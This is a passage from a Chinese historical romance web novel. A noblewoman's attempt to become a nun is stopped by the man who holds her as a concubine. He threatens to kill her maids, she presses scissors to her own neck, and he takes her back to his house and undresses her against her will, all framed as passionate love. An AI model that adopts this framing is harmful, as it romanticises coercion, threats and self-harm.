闻菲听闻有素斋,笑着去拉叶含珍的衣袖,“难得太子表哥开口留人,叶姐姐也愿意留下来用饭,那我和大哥定要沾沾叶姐姐的光,蹭太子表哥一顿斋饭。”
“放心吧,少不了你的。”
沈俞静兴致颇好,“走吧,去用斋饭。”说完,自己率先起身,朝已经摆好饭菜的桌案走去。
叶含珍先前用过不少点心,又喝了大半盏热茶,即使眼前的素斋做得再如何诱人,也只草草夹了几筷子菜肴,便不再用。
只静静看着吃得极开心的闻菲,时不时替她布些菜。
“谢谢叶姐姐,”闻菲含糊道,“叶姐姐怎么知道我喜欢吃这道‘山家三脆’的?”
叶含珍见那道她口中的‘山家三脆’已经被她用了一小半,轻声道:“我只是见闻四小姐多夹了几筷子,所以才猜闻四小姐是不是喜欢它。”
“叶姐姐真好,不仅人漂亮,还聪慧体贴,也不知将来谁能有福气娶姐姐?”闻菲说完,仍低头与碗里的‘三脆’斗争。
她吃得极香甜,好像再没有什么烦心事能让她皱眉。
闻景与上座的沈俞静两人也听到了闻菲的话,心里不免皆有些黯然。
闻景自不必说,自他进来后,叶含珍就从未正眼瞧过他一面,哪怕就是在起身行礼时,也避过他灼人的目光。
而沈俞静却还沉浸在自己被人拒绝的失落里,猛一听闻菲的话,心里越发不是滋味。
他从前见过的贵女,哪个不是秀秀气气,娇弱造作?谁会为了只见过一面的人,不惜在雪地寻人帮忙?
那日,他见她脚下的鞋面都湿了,也不知她到底在梅林里走了多久,才寻到自己歇脚的梅亭里。
再加上那枚玉佩,沈俞静很难控制自己不去想她。
想她雪地林间里焦急的神色,和投壶比试上的绰约风姿,还有面对十一无理取闹的从容。
叶含珍却毫无知觉。
她这会眼里只有单纯天真的闻菲,见她吃得眉飞色舞,忍不住又提起公箸,夹了一块素烧鹅要往闻菲面前的食碟里放。
却不料,半路伸出一只甜白瓷盘,挡在闻菲面前。
“谢谢叶小姐抬爱。”
叶含珍顺着瓷盘边缘那双骨节分明的手指,缓缓往衣袖上望去,是闻景的手。
筷子上的素烧鹅抖了抖,叶含珍又听闻景继续道,“我最喜欢的就是这道素烧鹅,叶小姐果真聪慧体贴非常,闻某不胜感激。”
说完,闻景用那瓷盘轻轻触碰那筷子尖上的素烧鹅,就看到那片腐衣做得仿荤菜,稳稳落在闻景手里的甜白瓷盘里,然后被他放在面前,拈起吃下。
叶含珍还未放下银箸,闻菲却已经不满得嚷嚷起来。
“哪有大哥你这样的?叶姐姐明明是……是给你夹的菜,你、你是该多谢谢她。”
眼神接触到闻景的警告,闻菲只好生生转了口。
好吧,谁让她中秋那日没有多带人在街上逛一会,害得叶姐姐被大哥的话当场气昏过去。
她撇嘴朝闻景挑衅的张扬模样,让一旁的叶含珍更加沉默。
恍惚记起,她从前也会和叶劲为一块糕点,一碗羹粥在家里吵得爹娘头疼。
只是,眼下这份吵闹,只有闻景兄妹俩才能体会。
至于太子沈俞静,叶含珍也不清楚他和其他的皇子公主到底是如何相处的,只依稀记得那日在梅花宴上,十一公主沈俞佳拉扯自己后,沈俞静的严词训斥。
沈俞静见闻氏兄妹俩皆得了叶含珍的布菜,不免去奢想她会不会也给自己布菜。
虽然他们俩加上今日,统共才见过三次,但他方才已经将自己的心意说得很清楚了。
他中意她。
就在他绞尽脑汁去想去怎么开口时,叶含珍已经拿起巾帕拭手。
“你就吃这点?”
闻景见她碗里的饭,几乎没有什么变化,语气不免有些重。
沈俞静知道叶含珍少食其中的缘由,只是不明白闻景怎么忽然变了脸色。
“都怪孤,方才你们来之前,让人准备了几样茶点给叶小姐用,也难怪这会叶小姐胃口不佳。只是闻景,你这么凶做什么?”
闻景听到沈俞静维护叶含珍的话,又想起这些日子宫里传出来的风声,明里暗里瞟了一眼木然呆坐的叶含珍,启唇道:“太子殿下不知,叶小姐先前在京里寻医问药时,大夫就说了她脾胃虚弱,平日里若是不好好吃饭,怕是容易生病。”
“敢问叶小姐有何不适之症?要不要孤派太医去侍郎府上,替叶小姐诊治一番?”
这间禅房布置得极雅致,虽无各色金玉器具摆设,但好歹是准备给太子殿下落脚歇息的地方。
洒扫除秽自不必说,就连那张用饭的桌案都铺摆上了素净的桌幔。
垂下的桌幔里,叶含珍衣袖下的手有些不由自主地瑟缩,只因就在眼前宽大的桌案下,有一只大手在沈俞静开口后,便覆在自己冰凉的手背上。
滚烫的体温,顺着肌肤间的亲密接触传来,带着暗暗的警告意味。
“多谢殿下好意,
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只是小女的病已经好的差不多了,现下除了有些饱腹之外,也无任何不适,就不劳太医跑一趟了。”
她从来不知道,就算自己衣衫整齐得坐在人前,心底也会有那种被人剥光的屈辱感。
只需闻景再说得暧昧一些,自己与他的关系就会呈露在这桌面上。
她想吐。
之前吃下的所有东西已经开始在胃底翻绞,让她忍不住想去推开那只掌心布满茧子的大手,抱着盂盆好好吐一场。
好在还没等到她真的憋不住时,其他几人也停下了银箸。内侍们有序撤下了桌面上的残羹,又有人替他们奉上热茶。
而那只大手,也及时离开了她轻颤的手背。
“启禀太子殿下,如今斋饭已经用过,小女真的不能再久留于此,小女的母亲还等着小女回家呢。”
“叶小姐要的安神符咒都准备好了吗?”
沈俞静并不回答叶含珍的请辞,只朝身边的小乌问起安神符咒。
“回太子殿下,安神符咒已经准备好了。”内侍恭敬呈上符咒。
沈俞静点头,他今日已经留她多时,确实不好再强留人,“耽误叶小姐回府了,叶小姐,这是孤让人准备好的安神符咒,你带回家给叶夫人吧,也算是孤的一点心意。”
他拿起内侍呈上的安神符咒,递与叶含珍。
“多谢殿下赏赐,小女告辞,”叶含珍接下符咒朝沈俞静行完礼,又朝闻景和闻菲所在的位置,颌首道,“告辞。”
“叶姐姐,那我下次再约你玩。”闻菲颇为遗憾。
闻景则漠然垂眸,徐徐吹去茶水面腾起的水雾,并不理会转身离开的叶含珍。
叶含珍镇静得转身出了禅房,便紧紧握着手里几乎要裂开的符咒,速速往山门所在的方向行去。
眼下才二月初,山间的朔风比京城里的还要厉害,吹得她披风上滚边的白狐毛,搔得她脸颊痒呵得很。
身后的雪青和青莲紧随她的身后,两人的脸色却比山尖上的残雪还要白。
鹅黄绵裙下的绣鞋走得极快,叶含珍樱唇中不断呼出的白雾化作风,四下散去,连鼻间也开始渗着汗意。
出了禅院,石径上的残雪虽被僧人一一扫去,只是天寒地冻,石径上不免还有些地方,结了薄薄的冰。
她心急如焚,没注意到脚下落下的地方闪着一小块亮光,身子蓦然朝旁边歪去,眼看就摔倒。
好在紧跟在身后的青莲眼疾手快,一把抓住了叶含珍的胳膊,将人扶住。
“小姐,你没事吧?”
“我没事,”叶含珍摇头喘息着,“我们快走!”
说完试了试脚踝,并不是很疼,她能忍得住。
“走。”
两个丫头见她如此坚持,也只能扶着她慢慢往山门走去。
路过韦陀殿时,叶含珍已经不让雪青和青莲扶着,自己继续往前疾行。绕过院中巨鼎香炉,便撞见舜华郡主正与一年轻女子从蒲团上起身。
“见过舜华郡主,郡主金安。”
舜华郡主也意外非常,她没想到叶含珍居然也会在寺里。
“叶小姐请起,”舜华郡主打量着她急匆匆的模样和额间的汗珠,不由有些疑惑,“叶小姐怎么会在这里?还有,你这是要去哪里?怎么走得这么急?”
42. 逃妾
“回郡主的话,小女今日本是来替母亲请安神的符咒,只是这会身体忽感不适,想回府去,故走得急了些。”
“原来如此,既然叶小姐身体不适,那还是在家里好好养着吧,别再乱跑了。”
今日是她特意约了礼国公的孙女来寺里上香,又让闻菲去缠着闻景来护送她们母女俩。
进了山门,好不容易让闻景与礼国公的孙女碰了面,却一转眼间,她膝下的两个孽障就跑得无影无踪。
舜华郡主此时哪里会为难叶含珍,只希望她快快离开才好。
叶含珍这厢也急迫,就算听出了舜华郡主语气里的不客气,也不愿与她纠缠,只匆匆行过礼,便继续往大殿方向去。
只待进了大殿,绕过巍峨金身的大佛,她就能出山门了。
“李小姐,我已经让人去寻闻景了,不如咱们先去禅房里坐坐?”
面对舜华郡主的邀约,严静自然不会反驳,一脸乖巧得扶着舜华郡主的手,慢慢往禅房的方向走去。
严静今日是随母亲一起来进香的。
虽然知道是郑国公府和礼国公府约好的相看,但在真的见到郑国公世子闻景后,她便一颗芳心直跳,再也挪不开落在那人面上的视线。
其实,他也没有外界谣言里的那般骇人。
不过那人却见到她和她母亲后,只沉着一张脸,听着舜华郡主说话。
等她先陪母亲进完香,被舜华郡主的人请来后,那人和闻菲就不见了踪影。好在舜华郡主也知她的尴尬,只亲热得拉着她的手,让她陪她去韦陀殿走走。
只是,也不知方才那位急急离开的妙龄女子是谁,为何舜华郡主见到她后,神色有异。
这会日头已过中天。
这时节里虽还是有些冷,但保国寺里的山茶花却开得重瓣叠叠,艳若丹砂。
在冬日的暖阳下愈发加动人心魄。
闻景随口寻了个借口就出了禅房,只留下闻菲还与沈俞静在里面喋喋不休。
抬手折下眼前一只开得极艳极浓的山茶,慢慢在手里转着。
“玉风,你说你捡到了什么?”
“启禀主子,属下在禅房院外的石径上,捡到了一枚安神符咒。”说完,玉风便双手递上符咒,垂头静默。
闻景将手里玩得正起兴的山茶往地下一扔,猛然抓过被人揉捏得皱皱巴巴黄色朱砂画符。
“好啊,已经背着我学会撒谎了,”他眸色闪着点点怒火,不急不徐道,“现下人在何处?”
玉风会意,拱手道:“属下悄悄跟在叶小姐和她侍女身后,见她们径直往山门的方向走,这会,人应该已经出山门了。”
看着那枚眼熟的符咒,慢慢彻底变成一团废纸,闻景桀桀冷笑起来:“去,牵我的马来。”
一炷香后。
“你确定叶府的马车走得是这个方向?”
闻景勒住了手里的马缰,朝身后的玉泉问道。
那马儿跑得正欢时被人勒住,正不耐烦的打着喷嚏,刨着前蹄。
玉泉一脸肯定:“属下就是在山门处,见到叶府的马车往这边走的,而且这里只有一条道,没有岔路。”
保国寺是皇家寺庙,来往皆是开阔道路。只是越往北边走,道路才开始变得有些狭窄。
“这条路通向哪里?”
玉风有些迟疑,“回主子,顺着这条路再走十里地左右,便是清心庵。”
清心庵。
闻景听完瞬间打了个寒颤,她去尼姑庵做什么?
他绞尽脑汁也想不出她去清心庵的理由,心里直突突跳。一股急躁烦闷之感油然从身后随着寒风袭来,倏然,一道不好的预感在他脑海里闪过。
“驾!驾!”
闻景甚至来不及开口,就甩着马鞭狠狠朝马臀上抽去,马儿吃痛,驮着闻景瞬间飞奔起来,路边的景色从闻景身侧滑过,只留下“哒哒”不断的马蹄声在耳边响起。
身后的侍从们见状,也急急驾马追去。
叶含珍直到顺利上了马车后,才惊觉右踝处有些肿胀的感觉。她怕再加重伤势,不敢再乱动,只闭上眼,靠在车壁上。
好在清心庵距离保国寺不远,只需忍着到了庵里,便可向师太们寻些伤药来擦擦就好。
叶含珍唇边扬起一抹弧度,两个梨涡盛满了无奈和认命。
她啊,越来越不像从前的自己了。
要是换做从前的她,伤得这么重,早哭着喊着找爹娘撒娇了,哪里还会冷静地坐在马车里,替自己分析哪里可有寻到伤药来治伤?
一切,都是拜闻景所赐。
“小姐,清心庵到了。”
马车稳稳停住,雪青掀开车窗帘往外一望,就看见清心庵门口站着几位年轻的师太。
叶含珍扶着青莲和雪青的胳膊,才强忍着右踝的肿胀,下车走至庵门口。
“这位就是叶小姐吧?阿弥陀佛,老衲已经在此久候多时了。”
叶府早在正月前就给清心庵的主持送了信,今日是贵人入庵的日子,不可怠慢。
叶含珍回礼一笑:“正是信女叶氏,还请主持尽快为信女剃度,免去三千烦恼丝。”
随缘师太打量着叶含珍满头的珠翠首饰,摇头道:“佛门净地,叶氏既然是来免去三千烦恼丝的,不如就在这佛门外,摘下头上困住施主之物,贫尼也好知道施主的决心。”
“好。”
叶含珍没想到这主持师太如此严苛,竟要她就在庵门外卸下钗环。
随着手里的动作,乌发间的珍珠环钗取得干干净净,一袭厚密青丝自叶含珍肩头垂下。
直至耳坠也摘下交给雪青手里,随缘师太才颌首道:“施主心志坚定,贫尼不敢诳语,请叶氏随贫尼入门。”
发丝撩过叶含珍雪白干净的面庞,让她望向脚下门槛的视线有些模糊。一滴无色水珠滴在门槛上,很快就有一双绣鞋抬脚跨过。
鹅黄色的绵裙裙角扫过门槛,将那滴水珠彻底抹去踪影。
叶含珍只着一身灰色僧衣,虔诚得跪在大殿中央的蒲团上,低声念着《金刚经》。
随缘师太敲着木鱼,将一卷《心经》颂完,才朝叶含珍的身后走去。
耳旁的头发被人牵起,只听到轻微的“沙沙”声,一缕青丝便蓦然坠地,飘落在叶含珍身侧。
“住手!”
随着身后的一声爆喝,紧接着而来的是一阵纷乱的步履声,在耳畔响起。
叶含珍不知道身后是何人,也不愿意回头,只坚定道:“请随缘师太继续为我剃发。”
“住手!”
闻景大步流星跨进大殿,眼角扫到那老尼还要再剪去她身后的乌发,勃然大怒道,“我叫你住手,你聋了吗?”
说完,一把夺过随缘师太手里的剪刀,将跪在蒲团上闭眼念经的叶含珍提着衣领凑近自己。
“叶含珍,你疯了吗?”
他放她回家,是想讨她欢心的,不是让她偷偷出家的。
叶含珍被耳畔的暴怒声震得耳膜刺痛,她的右踝也被闻景这样一拉,瞬间疼得让她忍不住流泪。
“
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闻景,你来这里做什么?”叶含珍倔强发狠道,“快将剪子还给师太,是我要让她替我剃度的!你有什么资格阻拦?”
既然已经被他发现,那又何必再退让?她以后的人生,她说了算。
“我没资格?”
闻景怒极反笑。
他一把将手里的剪刀扔得老远,连连嘲讽起向自己怒目而视的叶含珍:“你是我府上的逃妾,我怎么没有资格阻拦?”
他虽然将唇凑在叶含珍耳边,才低声吐出这一句,但叶含珍已经看见四周僧尼震惊的眼神。
逃妾?
叶含珍被这两个字扎得遍体鳞伤,眼前一片片发黑。
往日间被这人欺辱时的记忆,一幕幕浮现在脑海里,疼得让她几乎忘记了脚踝的剧痛,只想将脑子剜出来。
也许剜出来,就不用再听这种恶毒之言。
“叶含珍,我给你两个选择,”闻景决然道,“一,你和我走——”
“你做梦!”
叶含珍望着闻景的眼神里淬满了恨意,她想也不想就厉声打断了闻景的提议。
要她和他走,除非她死。
他闻景哪怕再厉害,也拿一个死人没办法。
“别急,这不是还有二吗?”
闻景早就清楚她不会这么轻易地答应第一个选择,耐心道:“二,就是得让我高兴,我今日若是高兴了,或许我真的就能放你一马呢?”
“你又想我做什么?”
叶含珍这会已经完全不怕闻景脸上的怒色,她只想闻景到底要自己做什么。
只是越看闻景暗沉下来的眼神,叶含珍越后悔自己问出的那句话。
闻景见她已经明白自己的意思,松开了抓着她的手,眼睁睁看着人跌坐在蒲团上。
负手走至香前,见眼前袅袅腾起的紫烟散落在佛前,“看你的模样,也该是明白了我的意思,我就不废话了。”
“选吧。”
耳旁的一字一句敲击在叶含珍背脊上,她忍不住内心的痛楚,靠着双手俯撑在冰凉的地砖上。
滴落在地砖上的眼泪,不仅映照着外间明媚和煦的日光,还有满目疮痍的自己。
余光忽瞥见一抹金光,那是闻景从随意师太手中夺下的剪刀,正默默无闻注视着眼前的一切。
此刻,整个大殿里的众位僧尼,早已经被后面追赶进来的玉泉清场。
只有大开的殿门,呼呼往殿里灌着风。
叶含珍仰头去望负手立在供桌前的背影。闻景像是有所感应般,转身与她的目光相接。
只见她散落着一头乌发,被带着些温度的风吹得凌乱不堪。
只有一束残缺的发丝,不断提醒着闻景,就差一点,这头乌发便会全部迤逦在地上。
而叶含珍却只定定看着他,一句话也不说。
仿佛是看着什么陌生人一般,视线细细划过他周身。
今日许是来寺庙的缘故,闻景穿着一身石青莲纹的锦袍。
腰系玉带,足登乌靴。
只是他面庞上的冷峻,让他不像个世家公子,倒像个讨债的厉鬼。
叶含珍毫无血色的唇角蓦然绽放一抹笑意,将闻景看呆住。
只是下一瞬息间,叶含珍就拼劲全力,跪爬着朝那把剪刀而去。
直到将剪刀握着手中,叶含珍才转身靠着梁柱,含笑望着神色已经大变的闻景。
她见闻景目呲欲裂想要冲过的神情,只将那锐利至极的剪刀尖,缓缓对准了自己脆弱的脖颈。
“叶含珍!”
43. 一切都没变
闻景大怒吼道,散落的回音震得人耳膜疼。
只是这一切落在叶含珍眼里,却只感到有些莫名的快意。
这一次,她终于能掌握自己的人生。
“闻景,我在出保国寺时遇见了舜华郡主,我猜,你今日来这寺里,是为了相看未来的世子夫人吧?”
闻景听闻,猛然转头去看守在殿门的玉泉,只见玉泉尴尬得低下了头。
“你别胡说,我没有!”闻景转头过来否认。
叶含珍被他的厚颜无耻气得身子发颤,手里的尖锐也不小心划破了肌肤。
一抹嫣红跳入闻景的眼帘。
“托你的安排,礼国公府的小姐,我还是认得的。”
就在那次梅花宴上,那位李小姐是就那群围在十一公主身边的其中一位。
“那又如何?”
闻景根本不承认相看一事,“再说了,你认得她,也不代表今日她是来与我相看的。”
闻景云淡清风的模样,让叶含珍又将那锋利的刀尖往肉里刺入一分。
顺着剪刀柄,滴落在地上的血珠发出一声微弱的声响,殿里点的檀香里混着一丝腥气。
“叶含珍!”
闻景终于挂不住那副气定神闲的假象。
若说他从前觉得叶含珍,只是一只被他握在掌心的娇雀,那么此时此刻的叶含珍,就是悬崖上摇摇欲晃的枯叶。
或许她手里的尖锐只要进几分,他就再也抓不住她了。
“闻景,你既然已经在相看世子夫人,又何必还要来折磨我呢?我不是一块木头,任你千凿万锤也不会疼,我也有血有肉啊!”
她今日是在舜华郡主身边,见到那礼国公府的小姐时,才敢继续来这庵里计划她以后的人生。
可是没想到,闻景紧随其后。
当着这满殿神佛的面,他不仅毫无愧色,还撒谎,还要继续欺辱她。
他究竟有没有一点羞耻心?
“……就是因为你,因为你的无耻,你的卑鄙下流,才逼得我不得不选择出家这条路!”
“我逼你出家?哈哈哈!好啊,看来我就不应该大发善心让你回家,”闻景嘲讽大笑,“我就该将你日日关在梨花巷里,让叶家的人,让沈俞静根本见不着你。你别以为我不知道沈俞静看上了你,想娶你为太子妃,只是,你也不瞧瞧你自己,还配做储妃吗?”
他放她回家,是为了能名正言顺向叶府提亲,不是让她被别的男子惦记。
叶含珍听他提及沈俞静,眸色瞬间灰败,“我不配。”
闻景见她为其他男子失魂落魄的模样,恨得牙痒痒。
“你既污蔑我今日来保国寺是与礼国公府的小姐相看,那你和沈俞静呢?你们又聊了些什么?”
哪有那么凑巧的事,他们偏偏就在保国寺里相遇?还一起喝茶吃茶点?
不知道的人,还以为他们是在幽会呢。
“我——”
“你看看这是什么,再好好想想该怎么糊弄我。”
闻景打断叶含珍的话,从衣袖里摸出一抹黄色的东西,往地上扔去。
叶含珍定睛一看,那是一枚被揉捏得发皱的符咒。
上面熟悉的朱砂纹路,清清楚楚告诉她,这就是她从沈俞静那里得来的符咒。
见自己的谎话被闻景揭穿,叶含珍却无半点心虚。
“你既然知道太子有意娶我为妃,那你方才见我剃发的时候,又何必出言阻拦呢?”
他不阻拦,太子才会彻底死心。
闻景胸口汹涌澎湃的醋海倏然被这话平息下来,他不可置信望着一脸坦然的叶含珍:“你什么意思?难道,你已经拒绝了他?”
“你但凡有点脑子,你也不会问出这种傻话,”叶含珍讥讽道,“闻景,我有时候真的不明白你脑子里到底装的是什么?若我真的与太子有私,为何要出家呢?”
“那你为何要出家呢?”
她为何不等自己提亲呢?
“哈哈哈!”叶含珍笑得眼角冒出泪花,“闻景,看来你脑子是真的坏了。我说了,是你害得我只有出家这一条路,你还在装傻充愣。”
“像我这种已经失了清白的女子,还能有什么好下场呢?我父兄皆是朝臣,而我这种失贞的未婚女子,只是叶家的污点。叶家一日有了我这个污点女儿,一日就得提心吊胆,不敢应下任何人的提亲。”
她还配嫁给谁?谁又会娶她这种残花败柳?
叶含珍死死抓着抵在颈间的剪刀,宛如溺水之人抓着最后一根浮草。
“那我来提亲呢?”闻景反问道。
那他娶她呢?
“……别让我恶心了。”
叶含珍崩溃道。
她眸底闪现的嫌恶,让闻景脑子瞬间清醒。
只是他仍不死心,继续追问:“那我娶你,好不好?”
“不好!不好!不好!”叶含珍嘶吼起来。
她好不容易才逃出闻景的手心,过了几天松快日子,怎么还会自投罗网?让她嫁给闻景,她宁愿去死。
“你母亲既然费心尽力替你相看未来的世子夫人,你又何必为难我?我见那位礼国公府的小姐,娴静入水,姿容如仙。你能娶到她,是你八辈子修来的福气。”
“呵,是吗?”
闻景听她夸赞别家的小姐,连连冷笑:“谁爱要,谁要去,我不要你口中八辈子的福气。今日的事,只是我母亲的一厢情愿,并不是你想的那样。”
“闻景,我并不在意你是否与人相看,或者成亲生子,我只是想苟活下去。”
叶含珍望着眼前身形高大的男子,穿堂的风抚过他的袍角。
剪刀柄上散播的血腥气息,压过了香炉里的檀香,顺着鼻息,刺激着闻景的理智。
“……你的第二个选择根本就不是给我活路。既然,你不给我活路,那我就干干净净的走,免得再受苦楚。”
“你想用你手里的剪刀威胁我?好啊,”闻景拊掌几下,很快就有两个人被压跪在殿门口,只听得一两声低泣声,“你可以试试是你的剪刀快,还是我手下人的刀刃快。”
“你想死我拦不住你,只是我闻景发誓,你死以后,与你有关联的所有人都得死,”闻景一边说着,一边向前两步,“免得你黄泉路上孤零零的一个人。”
叶含珍模糊去望跪在殿门处的两个身影。
是雪青和青莲。
只见她们双手被缚,被人压跪在地上,颈间皆悬着一把亮晃晃的刀。
“真是两个忠心耿耿的丫头,到了这会,也不肯开口求你救
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她们,只是——”
他猛然俯身而下,趁着叶含珍失神的瞬间,忽一把夺下叶含珍手里的剪刀,往身后一藏。
“你没机会了。”
叶含珍失了威胁闻景的利器,又被闻景凑近的身躯,逼得躲无可躲。只能越发拼命将背抵在冰凉的柱子上。
好像这样就能离恶魔远一点。
“去,将人押下去好好看着,”闻景慢条斯理吩咐着,视线紧紧锁还在流血的肌肤上,轻声道,“很好,珍珍很乖。”
“我知道你恨我,可是这又能改变什么呢?你心里牵挂的人太多,他们都会成为我束缚你的枷锁。就算是你逃进庵庙,这满殿神佛也从我手里抢不走你。”
叶含珍眼神空洞望着殿门,“……闻景,你不得好死。”
闻景听闻她唇边吐出的诅咒,笑得前仰后俯。笑声止住后,随即就抓起叶含珍的手,握住那把剪刀。
只是这回,尖刃却是朝他自己。
“来,我给你机会让我不得好死,”闻景将她手里的剪刀往自己心口处刺去,“我说你牵挂的人,是我束缚你的枷锁,那你,何尝又不是束缚我的枷锁?”
是她将他变得不像从前的他。
只是一场偶然的相遇,她是无心,他却暗自动了心,用尽手段。
“是不是只有我死,你才会看我一眼?”
石青暗纹的锦缎很快就被沾着鲜血的刀尖刺破,直到闻景唇边溢出一声闷哼声,叶含珍才如梦初醒般望着自己手里的剪刀,已经将一个尖头没入闻景胸口。
“哐当!”
剪刀再次坠地而响。
叶含珍挥手朝闻景溢着猩红的面上挥去,却被闻景握住手腕。
“扇耳光是杀不死我的,”闻景一手抓着叶含珍的手腕,一手按在渗血的胸口处,忍着剧痛喘息道,“......去将剪刀捡起来,再往我心口插几分,我就不会再打扰你了。”
“闻景,你到底要如何才肯罢休?”
闻景低头见她仰着一张泪痕交横的莹白脸庞,而肩头上散落的乌发,有些被颈间的鲜血黏住。
抬手将那些粘在她发丝拨开,见血已经止住,才松口气:“下辈子吧,下辈子你别在遇到我,我就不烦你了。”
叶含珍闻言,瞬间挥开闻景的手,抱膝崩溃大哭起来。
这辈子,好长。
闻景胸口的伤,将他石青色的衣襟浸成一片暗色。不过好在伤口不深,他强撑着一口气,将叶含珍带回梨花巷的宅子里。
两人带着伤进宅子里的时候,将下人们吓得不轻。
白枝和青渚很快就取来药箱,替两人包扎伤口。
等到闻景胸口处的伤被缠好绷带时,叶含珍早捂着脖子坐在凳子上出神。
屋子里仍烧着地垄,设了炭盆。
连妆奁上的钗环玉梳,都一如她离开的那日,随意摆放在桌台上。
几乎没有什么变化。
要说有些不同之处,便是放置在炕屏前的两盆梅花,这是她离开之前没有的布置。
闻景只披着一件寝衣,抬头便看见叶含珍正愣愣望着炕上的梅花。
“觉得眼熟吗?”
叶含珍转头,只见闻景正似笑非笑得凝视着自己,眼底毫无她意料之中的怒色。
44. 好父亲
他起身走向炕边坐下,又朝椅子上的叶含珍招手,拍拍身旁的位子,“来,过来坐,你过来坐会陪我说说话,我就不计较你丢梅花的事。”
怪道有些眼熟呢,原来这两盆是她当日让人丢弃的绿萼梅和洒金梅。
叶含珍嗫喏着失了血色的唇瓣,却挤不出什么话来。原来自己的一举一动,皆在他的监视当中,不然,这两盆梅花怎么会摆在这里?
只是韶光易逝,两盆梅花早不复当日的嶙峋清傲。
叶含珍挣扎片刻后,慢慢起了身,朝闻景的方向走去。
只堪堪走至闻景身前,还未落座,便被他一手牵住往怀中一带,整个人便坐在他膝上,被他双手环住腰身。
“回家的这段时间开心吗?有没有想我?一点点也算。”
叶含珍听闻腰间传来的低闷声音,不知该如何回答。
她也不知道这段时间里的自己,到底有没有闻景口中的开心,只是能日日服侍在阿娘膝下,她确实时不时会有回到临州的错觉。
就好像她从来都没有经历过这些噩梦。
至于闻景问她有没有像他,他是哪根筋搭错了?
他凭什么会觉得自己会想他?
闻景见头上迟迟未传来想要的回答,不得不苦笑一声:“算了,我知道答案了,只是仍抱着幻想。”
“你脖子受了伤,晚膳我让厨房给你做些清淡的菜,你多吃些,好不好?”
闻景说完也不等她开口,朝垂目望脚的白枝吩咐:“晚膳要清淡些,再做个有利于伤口恢复的药膳汤来,至于饭后的点心,就要小姐平日里喜欢的那几样。”
“是。”白枝屈膝应下。
只是还未走至几步,又被闻景喊住:“等等,我记得年后宫里赏下了两罐亳州白芽,派人去溶月院取来,以后每日泡给小姐喝。”
“奴婢这就去安排人回府取来。”
叶含珍这会脸上倒是有些神情,她没想到闻景只在沈俞静那里喝了一盏茶,就知道今日沈俞静让人准备的是亳州的白芽。
听他这话的意思,他得的两罐茶叶都要给自己。
“闻景,这茶留给你自己喝吧,我不喜欢。”
闻景不满起来,“我今日见你在沈俞静那里一直端着那茶盏,不像是不喜欢的样子,还是说你只是不喜欢我送给你的东西?珍珍,你不能区别对待,得一视同仁才好,免得刺激了我,我会更疯的!”
明明是她不愿去看坐在对面的闻景,却被他巧言令色,说成更喜欢别人送的东西。
好个颠倒黑白的本事!
叶含珍推攘闻景环在自己腰间的手:“不是所有男子都是你这种做派,太子殿下是谦和识礼的君子,你如何能和他相较?”
“是啊,在你眼里,我闻景哪里算的是人?更不提是咱们那位楚楚温和的太子殿下,可是,这又能改变什么?”闻景将手下的纤腰环得更紧,叶含珍那点劲,在他眼里根本就毫无作用,“他在好,你也只能是我人,你们今生无缘。”
叶含珍闻言蓦然停住了手下抗拒的动作。
这让她不可避免得想起了那两枚一模一样的玉佩。闻景说得没错,不论那玉佩究竟是何来历,她与沈俞静今生也无缘。
只是,她却不明白闻景为何要如此在意自己对沈俞静的看法。
“你知道了?”
闻景见她仍穿着灰袍僧衣,一头乌发散乱在后背,抬手就去解叶含珍的衣襟,“知道什么?知道他在梅花宴上,帮你救曾小姐,还是知道他向你父亲提起要娶你的事?”
叶含珍被他这动作吓坏了,急急按住他解自己衣襟的指尖:“你要做什么?”
“不做什么,我只是瞧着你身上的僧袍,觉得有些碍眼,想替你解开而已,你以为我要做什么?”
闻景唇边的笑,让叶含珍更加不安。
“那你放开我,我自己来。”
她只是脖子受伤了,手还好好的,不需要闻景献这殷勤。
闻景却慢条斯理拉开她覆在自己手背上的手,继续往下解开衣扣,“我很高兴你能拒绝沈俞静,不过很快,我就会让他彻底死心。原本我还觉得自己从前对你太狠了些,不该这么早逼着你侍奉我,可到了这会,我却又觉着庆幸,庆幸自己抢先一步得了你。”
温行松也好,沈俞静也罢,反正他闻景是先下手为强。
宽大的僧袍彻底散开,露出有些颤抖的身躯。
“我现下受着伤,就是想对你做什么,也得等伤好了再做。你去浴房里沐浴更衣吧,我实在见不得你穿着僧袍的鬼样子。”
闻景嘴上嫌弃,手下却不停地在雪白的寝衣里流连,直到怀中人冰凉的泪珠砸在他手背上,才唤回了他仅有的神智。
叶含珍整个人宛若寒风中颤抖的落叶,无力忍受着闻景的拨弄。
直到闻景停住手下的动作,她才呜咽出声。
“好了,我说到做到,不逗你了。去吧,去沐浴吧,趁着我还没反悔。”闻景也没想到只是挑开了她的外袍,手就有些不听他使唤。
他终于舍得放开环在叶含珍腰身上的手臂,等人在地上站稳后,才急急端起茶盏往口中饮去。
叶含珍见状更是不敢再久留,当即就匆匆往浴房走。闻景看着她落荒而逃的背影,自己也有些莫名笑意。
入夜后,两个人一人拥着一床被子,躺在寂静昏暗的床榻上。
内室的烛火都被丫头们灭去,只有清冷的月光顺着窗棂缝隙,洒下些浑浊的光。
“怎么还没睡?是伤口还在疼吗?”闻景听着耳畔的翻身响动,忍不住开口问。
叶含珍面朝着里侧,低声道:“有一点。”
“我去让人给你熬点安神汤,不然恐怕你今夜睡不好。”
叶含珍听闻他掀被子的动静,连忙制止:“方才已经喝过了,可能只是需要会时间起效。”
闻景这才又躺回床上,失笑一声:“是我不好,忘记你已经喝过安神药了。这药,确实是不能喝太多。”
“那你呢?”
晚膳后,叶含珍自己是就着点心,喝完了一整碗苦涩至极的汤药。而闻景却没有让人给他准备安神药。
难道,他不疼吗?
不可能。
叶含珍很快就否定了这个荒唐的想法,她清楚那剪刀到底有多少没入闻景的胸口,不可能比她脖颈上的伤浅。
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>白日间还不觉着有多疼,这会到了夜深人静的时候,她脖子上的伤口已经成为火辣辣的一片。
“疼的。”
闻景不否认自己的痛觉,随即却闷闷笑起:“自你回叶府后,我只在国公府住了两夜,便一直一个人住在这屋子里。如今好不容易身边又躺着个你,我怕我睡着了做梦,会将你当成梦里的你欺负。”
叶含珍见他如今受着伤,还是一副下流坯子的模样,暗悔自己为何要多嘴,徒惹得自己难堪
。
她努力平息着气息,最后还是忍不住内心的气愤,一把掀开被子,伸腿飞快地朝闻景腿上踢了一脚,才又缩回了被窝里。
闻景在黑暗里挨了一脚,却越发笑得开心。
“这会才有了你回到我身边的真实感,你要不要再踢一下?”
叶含珍不欲再理会他的疯言疯语,仍是转身面朝里侧,用被子将自己的头全部盖住。
